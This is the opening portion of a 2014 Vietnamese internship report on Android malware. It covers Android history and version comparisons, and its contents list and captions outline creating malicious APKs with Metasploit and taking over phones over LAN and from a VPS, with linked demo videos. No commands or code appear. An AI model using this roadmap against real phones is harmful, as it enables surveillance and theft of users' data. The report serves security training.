Upload
thongerik
View
139
Download
3
Embed Size (px)
DESCRIPTION
Báo cáo cuối kỳ
Citation preview
TRƯỜNG ĐẠI HỌC BÁCH KHOA TRUNG TÂM ĐÀO TẠO
KHOA KHOA HỌC QUẢNG TRỊ MẠNG & AN NINH
& KỸ THUẬT MÁY TÍNH MẠNG QUỐC TẾ ATHENA
BÁO CÁO THỰC TẬP CNTT
ĐỀ TÀI: NGHIÊN CỨU TROJAN, MALWARE CHO
PHÉP ĐÁNH CẮP DỮ LIỆU TRÊN ĐIỆN THOẠI
ANDROID
Tp Hồ Chí Minh, Ngày 18 Tháng 8 Năm 2014
CBHD: Thầy VÕ ĐỖ THẮNG
SVTT: VÕ ĐÌNH THÔNG
MSSV: 51003268
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page i
MỤC LỤC
DANH MỤC BẢNG ............................................................................................. iv
DANH MỤC HÌNH ẢNH ...................................................................................... v
TRÍCH YẾU ......................................................................................................... vii
LỜI CẢM ƠN ...................................................................................................... viii
Nhận xét của cơ quan thực tập ............................................................................... ix
GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP - ATHENA .... 1 CHƯƠNG 0.
TÌM HIỂU HỆ ĐIỀU HÀNH ANDROID ....................................... 3 CHƯƠNG 1.
1. Khái quát vài nét về Lịch sử phát triển của Android. ..................................... 3
2. Đặc điểm của Hệ điều hành Android .............................................................. 4
3. So sánh phiên bản Android 2.3 và 4.x. ........................................................... 5
3.1. So sánh yêu cầu phần cứng cần thiết để cài đặt....................................... 5
3.2. So sánh về giao diện. ............................................................................... 6
3.3. So sánh về tính năng và phương thức mạng ............................................ 7
CÀI ĐẶT HỆ ĐIỀU HÀNH ANDROID TRÊN MÔI TRƯỜNG CHƯƠNG 2.
ẢO ECLIPSE .......................................................................................................... 8
1. Cài đặt Java JDK. ........................................................................................... 8
2. Cài đặt android SDK ..................................................................................... 11
3. Tạo máy ảo Android (Android Virtual Device) ........................................... 12
TÌM HIỂU MÃ ĐỘC TRÊN ANDROID ...................................... 16 CHƯƠNG 3.
1. Định nghĩa mã độc. ....................................................................................... 16
2. Mã độc trong môi trường Android. .............................................................. 16
2.1. Android là một môi trường lý tưởng cho mã độc phát triển.................. 16
2.2. Phân loại mã độc Android. .................................................................... 16
3. Thực trạng hiện nay. ..................................................................................... 17
4. Malware. ....................................................................................................... 18
4.1. Cơ chế hoạt động của Malware. ............................................................ 19
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page ii
4.2. Mục đích của Malware DroidDream. .................................................... 20
5. Cơ chế bảo mật trong Android. .................................................................... 20
5.1. Tính bảo mật trong Android. ................................................................. 20
5.2. Cơ chế Permission. ................................................................................ 20
5.3. Google Play. .......................................................................................... 21
CÀI ĐẶT MỘT SỐ CHƯƠNG TRÌNH CHỨA MÃ ĐỘC ........... 22 CHƯƠNG 4.
1. iCalendar. ...................................................................................................... 22
1.1. Các công cụ cần thiết. ............................................................................ 22
1.2. Các bước thực hiện. ............................................................................... 22
2. iMatch ........................................................................................................... 27
2.1. Các công cụ cần thiết ............................................................................. 27
2.2. Các bước thực hiện. ............................................................................... 27
Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux để CHƯƠNG 5.
xâm nhập vào máy Android. ................................................................................. 29
1. Tổng quan. .................................................................................................... 29
2. Cải tiến của Kali Linux so với Backtrack. .................................................... 29
2.1. Kali phát triển trên nền tảng hệ điều hành Debian ................................ 29
2.2. Tính tương thích kiến trúc ..................................................................... 29
2.3. Hỗ trợ mạng không dây tốt hơn ............................................................. 30
2.4. Khả năng tùy biến cao ........................................................................... 30
2.5. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai................... 30
3. Cài đặt Kali Linux ........................................................................................ 30
3.1. Chuẩn bị. ................................................................................................ 30
3.2. Cài đặt. ................................................................................................... 30
TẠO MÃ ĐỘC TRÊN KALI LINUX ĐỂ XÂM NHẬP VÀO MÁY CHƯƠNG 6.
ẢO ANDROID QUA MẠNG LAN ..................................................................... 38
1. Metasploit ..................................................................................................... 38
1.1. Giới thiệu ............................................................................................... 38
1.2. Các thành phần của Metasploit .............................................................. 38
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page iii
1.3. Sử dụng Metasploit framework ............................................................. 39
2. Chuẩn bị để hack Android trên mạng LAN .................................................. 40
3. Hack Android trên mạng LAN ..................................................................... 40
3.1. Cài đặt Metaspolit trên máy ảo. ............................................................. 40
3.2. Tạo APK có chứa mã độc bằng KaLi Linux. ........................................ 45
XÂM NHẬP VÀO ANDROID THÔNG QUA INTERNET TỪ CHƯƠNG 7.
VPS ....................................................................................................................... 50
1. VPS là gì? Khái niệm VPS. .......................................................................... 50
2. Cài đặt Metaspolit trên VPS. ........................................................................ 51
2.1. Đăng ký VPS. ........................................................................................ 51
2.2. Cài đặt Metasploit trên VPS. ................................................................. 53
3. Tạo file .apk với IP của VPS. ....................................................................... 53
4. Tấn công Android từ VPS ............................................................................ 55
KẾT QUẢ ĐẠT ĐƯỢC ................................................................. 58 CHƯƠNG 8.
TÀI LIỆU THAM KHẢO .............................................................. 59 CHƯƠNG 9.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page iv
DANH MỤC BẢNG
Bảng 1. So sánh phần cứng Android 2.3 và Android 4.x ....................................... 6
Bảng 2. So sánh giao diện Android 2.3 và Android 4.x. ........................................... 7
Bảng 3. So sánh về tính năng và phương thức mạng. ............................................ 7
Bảng 4. Các họ mã độc Android. .......................................................................... 17
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page v
DANH MỤC HÌNH ẢNH
Hình 0.1. Cơ cấu tổ chức của Athena. .................................................................... 2
Hình 2.1. Phiên bản JDK 8u11. .............................................................................. 8
Hình 2.2. Gói cài đặt JDK cho Windows 64bits. ................................................... 9
Hình 2.3. Chạy jdk-8u-windows-x64.exe. .............................................................. 9
Hình 2.4. Chọn ổ đĩa để cài đặt. ........................................................................... 10
Hình 2.5. Kiểm tra cài đặt JDK. ........................................................................... 10
Hình 2.6. Thư mục cài đặt Android SDK. ............................................................ 11
Hình 2.7. Cài đặt các phiên bản Android. ............................................................ 12
Hình 2.8. Tạo máy ảo Android. ............................................................................ 12
Hình 2.9. Tạo máy ảo Android. ............................................................................ 13
Hình 2.10. Thông tin máy ảo Android. ................................................................. 13
Hình 2.11. Khởi động máy ảo Android. ............................................................... 14
Hình 2.12. Máy ảo Android. ................................................................................. 15
Hình 4.1. Khởi động máy ảo Android. ................................................................. 22
Hình 4.2. Folder Super Apk Tool. ........................................................................ 23
Hình 4.3. Super Apk Tool scanning devices. ....................................................... 23
Hình 4.4. Mở file iCalendar.apk ........................................................................... 24
Hình 4.5. View Smali Code. ................................................................................. 24
Hình 4.6. Edit file iCalendar.smali và file SmsReceiver.smali. ........................... 25
Hình 4.7. Build Projects........................................................................................ 26
Hình 4.8. Tin nhắn từ Phone2 qua Phone1. .......................................................... 26
Hình 4.9. Sửa nội dung file MjUtils.smali ........................................................... 27
Hình 4.10. Kết quả chạy chương trình iMatch. .................................................... 28
Hình 5.1. Chon phương thức cái đặt – Typical .................................................... 31
Hình 5.2. Tìm đường dẫn đến file iso Kali Linux. ............................................... 31
Hình 5.3. Chọn dung lượng tối đa của đĩa. ........................................................... 32
Hình 5.4. Thông tin hệ điều hành. ........................................................................ 32
Hình 5.5. Cài đặt Kali Linux. ............................................................................... 33
Hình 5.6. Chọn Ngôn Ngữ cho hệ điều hành. ...................................................... 33
Hình 5.7. Chọn múi giờ theo khu vực. ................................................................. 34
Hình 5.8. Khu vực Asia. ....................................................................................... 34
Hình 5.9. Cài đặt Hostname + DomainName + Password. .................................. 35
Hình 5.10. Tùy chọn vùng đĩa cài đặt. .................................................................. 35
Hình 5.11. Phương thức cài đặt ổ đĩa. .................................................................. 36
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page vi
Hình 5.12. Xác nhận thông số cài đặt. .................................................................. 36
Hình 5.13. Tìm kiếm cập nhật qua mạng. ............................................................ 36
Hình 5.14. Quá trình cài Linux. ............................................................................ 37
Hình 5.15. Đăng nhập Kali Linux. ....................................................................... 37
Hình 6.1. Download Metaspolit. .......................................................................... 40
Hình 6.2. Các phiên bản của Metasploit. .............................................................. 41
Hình 6.3. Điền thông tin để download Metasploit. .............................................. 41
Hình 6.4. Bắt đầu cài Metasploit. ......................................................................... 42
Hình 6.5. Xác nhận điều khoản. ........................................................................... 42
Hình 6.6. Chọn thư mục cài đặt Metasploit. ......................................................... 43
Hình 6.7. Disable Anti-Virus Firewall. ................................................................ 43
Hình 6.8. Set các thông số Server. ........................................................................ 44
Hình 6.9. Setting VMware. ................................................................................... 45
Hình 6.10. Cấu hình mạng lại cho VMware. ........................................................ 45
Hình 6.11. Lấy địa chỉ IP của máy cài Metasploit. .............................................. 46
Hình 6.12. Lệnh tạo file APK có chứa mã độc. .................................................... 46
Hình 6.13. Đưa file Hack.apk vào điện thoại Android. ........................................ 47
Hình 6.14. Tạo Handler xử lý thông tin. .............................................................. 48
Hình 6.15. Run Handler. ....................................................................................... 48
Hình 6.16. Hack thành công điện thoại Android trên mạng LAN. ...................... 49
Hình 7.1. Thuê Server VPS. ................................................................................. 51
Hình 7.2. Cấu hình của máy ảo VPS. ................................................................... 52
Hình 7.3. Login VPS. ........................................................................................... 52
Hình 7.4. Tạo file chứa mã độc. ........................................................................... 53
Hình 7.5. Tạo Handler trên VPS ........................................................................... 54
Hình 7.6. Handler đang chờ để nhận thông tin. .................................................... 54
Hình 7.7. Có kết nối đến máy ảo VPS. ................................................................. 54
Hình 7.8. Lệnh Sysinfo để show thông tin điện thoại bị hack. ............................. 56
Hình 7.9. Các lệnh hỗ trợ của Metasploit. ............................................................ 56
Hình 7.10. Lệnh về webcam trên metasploit. ....................................................... 57
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page vii
TRÍCH YẾU
Trong số những thành tựu quan trọng nhất mà nhận loại đạt được trong thời gian
gần đây đó là những phát triển nhảy vọt của kỹ thuật truyền thông. Đặc biệt là đó
là điện thoại di động, khi mà con người có thể giao tiếp với nhau bất chấp khoảng
cách. Chúng ta đã quá quen với những chiếc điện thoại di động luôn ở bên mình
mọi lúc mọi nơi, đơn giản vì tính tiện lợi và hữu ích của nó. Chúng ta có thể
nghe, gọi, nhắn tin, lướt web, xem video, … thậm chí còn thực hiện các giao dịch
ngân hàng.
Điện thoại di động có chứa hầu hết thông tin cá nhân của người sử dụng như địa
chỉ nhà, tài khoản ngân hàng, những hồ sơ quan trọng,... Câu hỏi đặt ra, liệu rằng
những thông tin đó có thể nào bị đánh cắp không? Đề tài này sẽ cho chúng ta một
cái nhìn khái quát về việc đánh cắp, hack các thông tin, nghe lén,… trên điện
thoại di động, đặc biệt là điện thoại sử dụng hệ điều hành Android.
Tôi cam kết, kết quả đạt được do tôi tự thực hiện dưới sự hướng dẫn của thầy Võ
Đỗ Thắng (Trung tâm Athena), không sao chép từ người khác. Các bước của quá
trình thực hiện được tôi ghi lại bằng video và có thuyết minh từng bước. Chi tiết
của các clip ghi lại quá trình thực hiện được liệt kê bên dưới.
Danh sách các Clip:
1. Giới thiệu đề tài.
https://www.youtube.com/watch?v=GjpfHhjImck
2. Cài đặt hệ điều hành Android trên Eclipse.
https://www.youtube.com/watch?v=iohXzbLdf8Q
3. Mã độc Android – Icalendar.
https://www.youtube.com/watch?v=eIZ3jfjiZ_s
4. Mã độc Android – Imatch.
https://www.youtube.com/watch?v=zrGrF6t36PI
5. Cài đặt Kali Linux.
https://www.youtube.com/watch?v=KnOFlUkf0CA
6. Hack điện thoại Android trên mạng LAN
https://www.youtube.com/watch?v=RozgmI-zK-M
7. Hack điện thoại Android trên Internet thông qua VPS
https://www.youtube.com/watch?v=-cIw7Q3PKc0
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page viii
LỜI CẢM ƠN
Tôi xin chân thành cảm ơn trường Đại học Bách Khoa thành phố Hồ Chí Minh đã
tạo điều kiện, đã trang bị cho tôi những kiến thức cần thiết để tôi hoàn thành đợt
thực tập này.
Tôi xin chân thành cảm ơn Ban giám đốc Trung Tâm Đào Tạo Quản Trị Mạng &
An Ninh Mạng Quốc Tế Athena, toàn thể các anh chị trong công ty đã giúp đỡ tôi
trong thời gian thực tập vừa qua, tạo điều kiện để tôi có cơ hội thực tập tốt tại
trung tâm.
Đặc biết, tôi xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tình giúp đỡ, cung
cấp tài liệu tham khảo, hướng dẫn tôi để có thể hoàn thành đề tài tốt nhất.
Một lần nữa, tôi xin chân thành cảm ơn.
Hồ Chí Minh, Ngày 18 tháng 8 Năm 2014
Sinh viên thực tập
Võ Đình Thông
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page ix
Nhận xét của cơ quan thực tập
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
Hồ Chí Minh, ngày tháng năm
Giáo viên hướng dẫn
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page x
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
.......................................................................................................................................
Hồ Chí Minh, ngày tháng năm
Giáo viên hướng dẫn
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 1
GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP - CHƯƠNG 0.
ATHENA
Cơ sở 1_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2
Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041, Hotline: 0943 23 00 99
Cơ sở 2_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92
Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam.
Điện thoại: (84-8) 2210 3801, Hotline: 0943 20 00 88
Website: www.athena.edu.vn or www.athena.com.vn
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA
được thành lập từ năm 2004, là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam
đầy năng động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết
góp phần vào công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành
kinh tế mũi nhọn, góp phần phát triển nước nhà.
Lĩnh vực hoạt động:
Đào tạo và cung cấp nguồn nhân lực Công nghệ thông tin (CNTT), quản trị và An
ninh mạng. Qua 10 năm hoạt động, Trung tâm ATHENA đã đào tạo và cung cấp
nhân lực CNTT, Quản trị và An ninh mạng cho hàng ngàn Doanh nghiệp (đặc
biệt là các doanh nghiệp vừa và nhỏ trong lĩnh vực sản suất, kinh doanh và dịch
vụ).
Trên đà phát triển đó, những năm gần đây, ATHENA đã đẩy mạnh và mở rộng
hơn nữa mảng cung cấp nhân sự bằng cách cho ra đời Trung tâm nguồn nhân lực
ATHENA – AHL. Hoạt động chỉnh của Trung Tâm ATHENA – AHL là cung
cấp nhân sự CNTT, quản trị, An ninh mạng và kinh doanh trực tuyến (Internet
Marketing, Online Business) cho các Doanh nghiệp trong và ngoài nước.
Với danh sách khách hàng rộng khắp Việt Nam như: Công ty Công nghệ HPT,
Công ty Tin học FPT, các Sở thông tin - Truyền thông, công ty Lạc Việt, Công ty
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 2
phần mềm Quang Trung, Ngân hàng HD Bank, Ngân hàng Liên Việt, … và các
nước ngoài như: Axioo, NetGames, Siemens, và Japan Create Group,… Trung
tâm ATHENA – AHL kết hợp cùng trung tâm mẹ ATHENA cho ra đời chương
trình Thực tập - Huấn luyện - Tuyển dụng - Việc làm dành cho Sinh viên của các
trường Đại học – Cao đẳng – Trung cấp trên địa bàn TP.Hồ Chí Minh và các
vùng lân cận.
Đội ngũ giảng viên:
Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại
học hàng đầu trong nước.... Tất cả giảng viên ATHENA đều phải có các chứng
chỉ quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm
Quốc tế (Microsoft Certified Trainer). Đây là các chứng chỉ chuyên môn bắt buộc
để đủ điều kiện tham gia giảng dạy tại trung tâm ATHENA.
Bên cạnh đó, các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến thức
công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,... và
truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm
ATHENA.
Cơ cấu tổ chức Trung tâm Athena.
Hình 0.1. Cơ cấu tổ chức của Athena.
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 3
TÌM HIỂU HỆ ĐIỀU HÀNH ANDROID CHƯƠNG 1.
1. Khái quát vài nét về Lịch sử phát triển của Android.
Android là một hệ điều hành dựa trên nền tảng Linux được thiết kế dành cho các thiết
bị di động có màn hình cảm ứng như điện thoại thông minh và máy tính bảng.
Android chiếm 75% thị phần điện thoại thông minh trên toàn thế giới vào thời điểm
quý 3 năm 2012, với tổng cộng 500 triệu thiết bị đã được kích hoạt và 1,3 triệu lượt
kích hoạt mỗi ngày. Sự thành công của hệ điều hành cũng khiến nó trở thành mục tiêu
trong các vụ kiện liên quan đến bằng phát minh, góp mặt trong cái gọi là "cuộc chiến
điện thoại thông minh" giữa các công ty công nghệ.
Tổng công ty Android (Android, Inc.) được thành lập tại Palo Alto, California vào
tháng 10 năm 2003 bởi Andy Rubin (đồng sáng lập công ty Danger), Rich Miner
(đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó giám đốc
T-Mobile), và Chris White (trưởng thiết kế và giao diện tại WebTV) để phát triển,
theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết được vị trí và sở
thích của người dùng". Dù những người thành lập và nhân viên đều là những người
có tiếng tăm, Tổng công ty Android hoạt động một cách âm thầm, chỉ tiết lộ rằng họ
đang làm phần mềm dành cho điện thoại di động. Trong năm đó, Rubin hết kinh phí.
Steve Perlman, một người bạn thân của Rubin, mang cho ông 10.000 USD tiền mặt
nhưng từ chối tham gia vào công ty.
Google mua lại Tổng công ty Android vào ngày 17 tháng 8 năm 2005, biến nó thành
một bộ phận trực thuộc Google. Những nhân viên của chủ chốt của Tổng công ty
Android, gồm Rubin, Miner và White, vẫn tiếp tục ở lại công ty làm việc sau thương
vụ này. Vào thời điểm đó không có nhiều thông tin về Tổng công ty, nhưng nhiều
người đồn đoán rằng Google dự tính tham gia thị trường điện thoại di động sau bước
đi này. Tại Google, nhóm do Rubin đứng đầu đã phát triển một nền tảng thiết bị di
động phát triển trên nền nhân Linux. Google quảng bá nền tảng này cho các nhà sản
xuất điện thoại và các nhà mạng với lời hứa sẽ cung cấp một hệ thống uyển chuyển
và có khả năng nâng cấp. Google đã liên hệ với hàng loạt hãng phần cứng cũng như
đối tác phần mềm, bắn tin cho các nhà mạng rằng họ sẵn sàng hợp tác với các cấp độ
khác nhau.
Ngày càng nhiều suy đoán rằng Google sẽ tham gia thị trường điện thoại di động xuất
hiện trong tháng 12 năm 2006. Tin tức của BBC và Nhật báo phố Wall chú thích rằng
Google muốn đưa công nghệ tìm kiếm và các ứng dụng của họ vào điện thoại di động
và họ đang nỗ lực làm việc để thực hiện điều này. Các phương tiện truyền thông
truyền thống lẫn online cũng viết về tin đồn rằng Google đang phát triển một thiết bị
cầm tay mang thương hiệu Google. Một vài tờ báo còn nói rằng trong khi Google vẫn
đang thực hiện những bản mô tả kỹ thuật chi tiết, họ đã trình diễn sản phẩm mẫu cho
các nhà sản xuất điện thoại di động và nhà mạng. Tháng 9 năm 2007,
InformationWeek đăng tải một nghiên cứu của Evalueserve cho biết Google đã nộp
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 4
một số đơn xin cấp bằng sáng chế trong lĩnh vực điện thoại di động.
Ngày 5/11/2007, Liên minh thiết bị cầm tay mở (Open Handset Alliance), một hiệp
hội bao gồm nhiều công ty trong đó có Texas Instruments,Tập đoàn Broadcom,
Google, HTC, Intel, LG, Tập đoàn MarvellTechnology, Motorola, Nvidia,
Qualcomm, Samsung Electronics, Sprint Nextel và T-Mobile được thành lập với mục
đích phát triển các tiêu chuẩn mở cho thiết bị di động. Cùng ngày , Android cũng
được ra mắt với vai trò là sản phẩm đầu tiên của Liên minh, một nền tảng thiết bị di
động được xây dựng trên nhân Linux phiên bản 2.6. Chiếc điện thoại chạy Android
đầu tiên được bán ra là HTC Dream, phát hành ngày 22 tháng 10 năm 2008. Biểu
tượng của hệ điều hành Android mới là một con rôbốt màu xanh lá cây do hãng thiết
kế Irina Blok tại California vẽ.
Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ điều
hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành trước. Mỗi
bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên của một món ăn
tráng miệng ; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ có kem) tiếp nối
bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất là 4.2 Jelly Bean (kẹo
dẻo). Vào năm 2010, Google ra mắt loạt thiết bị Nexus - một dòng sản phẩm bao gồm
điện thoại thông minh và máy tính bảng chạy hệ điều hành Android, do các đối tác
phần cứng sản xuất. HTC đã hợp tác với Google trong chiếc điện thoại thông minh
Nexus đầu tiên, Nexus One. Kể từ đó nhiều thiết bị mới hơn đã gia nhập vào dòng
sản phẩm này, như điện thoại Nexus 4 và máy tính bảng Nexus 10, lần lượt do LG và
Samsung sản xuất. Google xem điện thoại và máy tính bảng Nexus là những thiết bị
Android chủ lực của mình, với những tính năng phần cứng và phần mềm mới nhất
của Android.
2. Đặc điểm của Hệ điều hành Android
Mã nguồn mở. Android là hệ điều hành có mã nguồn mở. Android được xây
dựng từ dưới đi lên cho phép người phát triển tạo các ứng dụng di động hấp dẫn
với đầy đủ các điểm mạnh của các thiết bị cầm tay hiện có. Android hoàn toàn
mở, một ứng dụng có thể gọi tới bất kể một chức năng lõi của điện thoại như tạo
cuộc gọi, gửi tin nhắn hay sử dụng máy ảnh, cho phép người phát triển tạo phong
phú hơn, liên kết hơn các tính năng cho người dùng. Android được xây dựng trên
nhân Linux mở. Thêm nữa, nó sử dụng một máy ảo mà đã được tối ưu hóa bộ nhớ
và phần cứng với môi trường di động. Android mà một mã nguồn mở, nó có thể
được mở rộng để kết hợp tự do giữa các công nghệ nổi trội. Nền tảng này sẽ tiếp
tục phát triển bởi cộng đồng phát triển để tạo ra các ứng dụng di động hoàn hảo.
Tính ngang bằng của các ứng dụng. Với Android, không có sự khác nhau giữa
các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được xây
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 5
dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại.
Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng
đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện
thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại
chỉ xem những ảnh mình thích.
Phá vỡ rào cản phát triển ứng dụng. Android phá vỡ rào cản để tạo ứng dụng mới
và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web với dữ liệu
trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên bản đồ – để
cung cấp chính xác hơn cho người khác. Với Android, người phát triển có thể xây
dựng một ứng dụng mà cho phép người dùng xem vị trí của những người bạn và
thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng thông qua sự
hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.
Xây dựng ứng dụng dễ dàng và nhanh chóng Android cung cấp bộ thư viện giao
diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức tạp. Ví
dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và cho
phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ ngang
hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ giúp
cho việc phát triển trở nên dễ dàng.
3. So sánh phiên bản Android 2.3 và 4.x.
3.1. So sánh yêu cầu phần cứng cần thiết để cài đặt.
Đặc điểm Android 2.3 Android 4.x
Dung lượng bộ
nhớ tối thiều
128MB có sẵn cho Kernel và
cho không gian người sử dụng.
340MB có sẵn cho kernel và
cho không gian người sử
dụng.
Dung lượng RAM
tối thiều
150MB 350MB
Màn hình Màn hình phải có kích cỡ ít
nhất 2,5 inch.
Mật độ phải được ít nhất 100
dpi.
Tỉ lệ màn hình từ 1.333 (4:3)
đến 1,779 (16:9).
Công nghệ màn hình được sử
dụng là công nghệ “ Square
Màn hình phải có kích cỡ ít
nhất 426x320.
Mật độ phải được ít nhất 100
dpi.
Tỉ lệ màn hình từ 1.333 (4:3)
đến 1,85 (16:9).
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 6
pixels”.
Yêu cầu phím vật
lý. Có Không
API Android Các API Android bao gồm
trình quản lý download các
ứng dụng có thể sử dụng để tải
dữ liệu.Trình quản lí download
phải có khả năng tải tập tin có
dung lượng ít nhất 55 MB.
Các API Android bao gồm
trình quản lý download các
ứng dụng có thể sử dụng để
tải dữ liệu.Trình quản lí
download phải có khả năng
tải tập tin có dung lượng ít
nhất 100 MB.
Bảng 1. So sánh phần cứng Android 2.3 và Android 4.x
3.2. So sánh về giao diện.
Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử dụng
cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm, kéo
dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động
của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng
mượt mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho
người dùng. Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi
chuyển và cảm biến khoảng cách được một số ứng dụng sử dụng để phản hồi một
số hành động khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển
thị dọc sang chế độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép
người dùng lái xe đua bằng xoay thiết bị, giống như Các thiết bị Android sau
khi khởi động sẽ hiển thị màn hình chính, điểm khởi đầu với các thông tin
chính trên thiết bị, tương tự như khái niệm desktop (bàn làm việc) trên máy
tính để bàn. Màn hính chính Android thường gồm nhiều biểu tượng (icon) và tiện
ích (widget); biểu tượng ứng dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị
những nội dung sống động, cập nhật tự động như dự báo thời tiết, hộp thư của
người dùng, hoặc những mẩu tin thời sự ngay trên màn hình chính. Màn hình
chính có thể gồm nhiều trang xem được bằng cách vuốt ra trước hoặc sau, mặc dù
giao diện màn hình chính của Android có thể tùy chỉnh ở mức cao, cho phép người
dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị theo sở thích. Những
ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng dụng khác còn
cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm chí bắt chước
hình dáng của hệ điều hành khác như Windows Phone chẳng hạn. Phần lớn những
nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và hành vi của các
thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía trên cùng màn
hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết nối. Thanh
trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông tin
quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới
CBHD: Võ Đỗ Thắng Báo cáo thực tập - ATHENA
SVTT: Võ Đình Thông Page 7
nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong
các phiên bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng
tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng, như có
khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng
dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc
xóa nó đi.
Đặc điểm Android 2.3 Android 4.x
Giao diện Đơn giản. Tinh tế, trong suốt và đẹp
mắt hơn.
Phím ảo hỗ trợ HOME HOME, BACK, MENU.
Widget menu Không. Có.
